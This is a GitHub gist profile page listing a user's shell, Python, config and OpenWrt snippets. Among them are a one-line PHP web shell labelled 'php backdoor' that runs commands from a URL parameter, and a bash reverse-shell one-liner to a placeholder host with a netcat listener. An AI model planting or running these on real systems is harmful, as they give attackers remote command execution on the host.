Skip to content

Instantly share code, notes, and snippets.

View fernviridian's full-sized avatar

Fern Viridian fernviridian

  • Portland, Oregon
View GitHub Profile
@fernviridian
fernviridian / myshell.php
Created June 5, 2017 01:37
php backdoor
<?php system($_GET["cmd"]) ?>

Keybase proof

I hereby claim:

  • I am tgjamin on github.
  • I am tgjamin (https://keybase.io/tgjamin) on keybase.
  • I have a public key ASB8NsnqlzicvTURyUTU2nTfoTMnC6vZsGNaqpzQ2eZsxwo

To claim this, I am signing this object:

@fernviridian
fernviridian / find.sh
Last active January 14, 2017 17:59
find string in files from current directory without git grep
# simple script to find content of files based on extensions
# and a given string
# usage ./find.sh "some string to find in files" .py
# will find all instances where that string was in a file.py
phrase=$1
fileextension=$2
for file in `find $(pwd) -name \*$fileextension -print`; do
if [ -e $file ]; then
cat $file | grep -i "$phrase";
if [ $? -eq 0 ]; then
# THIS IS THE PRETTY BIT
# #change the hardstatus settings to give an window list at the bottom of the
# ##screen, with the time and date and with the current window highlighted
encoding UTF-8
hardstatus alwayslastline
hardstatus string '%{= mK}%-Lw%{= KW}%50>%n%f* %t%{= mK}%+Lw%< %{= kG}%-=%D %d %M %Y %c:%s%{-}'
hardstatus string '%{= kG}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %d/%m %{W}%c %{g}]'
# /etc/profile /etc/bash.bashrc $USER/.profile $USER/.bashrc
# Getting confused?
# http://stefaanlippens.net/bashrc_and_others
# this file is sourced on login by $HOME/.profile if you are using
# the standard set of dotfiles
# Building the shell environment
# Looks for an aliases file and uses it if it exists
if [ -f ~/.bash_aliases ] ; then
#! /usr/bin/env python
#requires amazon boto package
#pip install boto
#s3 web interface bucket policy PUT THIS IN YOUR BUCKET
bucket_policy="""
{
"Version": "2008-10-17",
@fernviridian
fernviridian / wifisetup.sh
Created March 18, 2015 20:30
wt3020 wifi setup
SSID="NEXX"
KEY="wpapassphrase" #between 8-63 chars, alphanumeric
#from http://onionwrt.us.to/install
opkg update
# Configure wifi.
mv /etc/config/wireless /etc/config/wireless.bak
wifi detect |grep -v disabled|grep -v REMOVE > /etc/config/wireless
@fernviridian
fernviridian / gist:76a27efd4e5b46b8b512
Last active November 7, 2022 17:45
horrible git autosave every 15 minutes
while true; do echo "saving"; git add --all :/; git commit -am "autosaving `date`"; git push origin master; sleep 900; done
/bin/bash -i >& /dev/tcp/internetip/4444 0>&1
other window:
nc -lp 4444
curl -vs http://standards.ieee.org/develop/regauth/oui/oui.txt 2>&1 | grep `ifconfig | grep HWaddr | awk '{print $5}' | sed 's/:/-/g' | cut -c 1-8` | awk '{ print $3}'
#nastyonelineroftheday
#gets you a vendor based on hardware MAC address